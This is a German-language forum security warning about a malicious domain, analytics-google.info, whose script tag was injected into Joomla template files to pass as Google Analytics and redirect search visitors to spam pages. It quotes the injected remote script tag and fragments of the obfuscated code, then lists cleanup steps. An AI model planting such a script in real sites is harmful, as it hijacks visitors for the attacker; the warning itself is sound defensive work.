Thema: Sicherheitswarnung - analytics-google.info

analytics-google.info ist nicht von Google!

Die Seite wird hier bereits als Malware gelistet:
http://www.malwaredomainlist.com/mdl...cs-google.info


Es wird Code in die index.php vom Template eingeschleust der auf den ersten Blick wie der Tracking Code von Google Analytics aussieht
<script src="http://analytics-google.info/urchin.js"></script>

Original: <script src="http://www.google-analytics.com/urchin.js">

Neben diesem urchin.js wird weiterer verschlüsselter Code eingebunden:
http://www.joomlaportal.de/sicherhei...tml#post666372

Oben im Template:
<!-- ad --><script>function c1131313m4857aa739c121(m4857aa739c91a){ function m4857 .... usw.

Ganz am ende im Template:
<script>check_content()</script><!-- 1213806179 --><!-- ad --><script>function c1131313m4857aa739c121(m4857aa739c91a) ... usw.


Wenn der Code in der Seite enthalten ist, werden Besucher die die Seite bei Google in den Suchergebnissen anklicken
auf eine analytics-google.info Suchseite weitergeleitet.
Die Suchbegriffe mit der die original Seite bei Google gefunden wurde werden übernommen.

Von den neuen Suchergebnissen wird man dann über Affiliate Seiten auf weitere Seiten geleitet.


Infos durch welche Lücke der Code eingeschleust wird gibt es bist jetzt nicht.
Und es ist auch noch unbekannt ob noch mehr auf der Seite verändert wird.

Darum bleibt bis dahin nur die übliche Vorgehensweise:
http://www.joomlaportal.de/sicherhei...tml#post666781

Zitat von flotte

1) Sofort den gesamten Auftritt mit allen Dateien entfernen (sichern!)
2) Datenbankinhalt entfernen
3) Letzte definitv saubere Sicherung einspielen
4) Alle Passwörter ändern (Datenbank, Joomla, FTP, etc.)
5) Log-Dateien holen und Einbruchslücke lokalisieren
6) Lücke schließen!

Björn

Hier mal alle Threads aus dem Forum dazu die ich bisher gefunden habe:
http://www.joomlaportal.de/sicherhei...-verlinkt.html
http://www.joomlaportal.de/sicherhei...us-iframe.html
http://www.joomlaportal.de/installat...3-gehackt.html

Und hier einer der das phpwcms betrifft:
http://www.homepage-forum.de/showthread.php?t=38503


Weiter Links wo darüber gesprochen wird:
http://www.ayom.com/topic-25023.html

http://ddanchev.blogspot.com/2008/06...in-action.html

Und damit es auch wirklich jeder mitbekommt, Yiggt das mal...

http://www.yigg.de/2065694

//Edit: @holmi, Mi-Schi ist der aus dem anderen Forum...

Die Domain analytics-google.info gibt es nicht mehr.


Wer den oben beschriebenen Code in seinem Template entdeckt sollte ihn aber löschen.
Und natürlich nach der Lücke suchen durch die der Code eingeschleust wurde!


Björn

sehr geniale Taktik. Ist es wirklich funktioniert?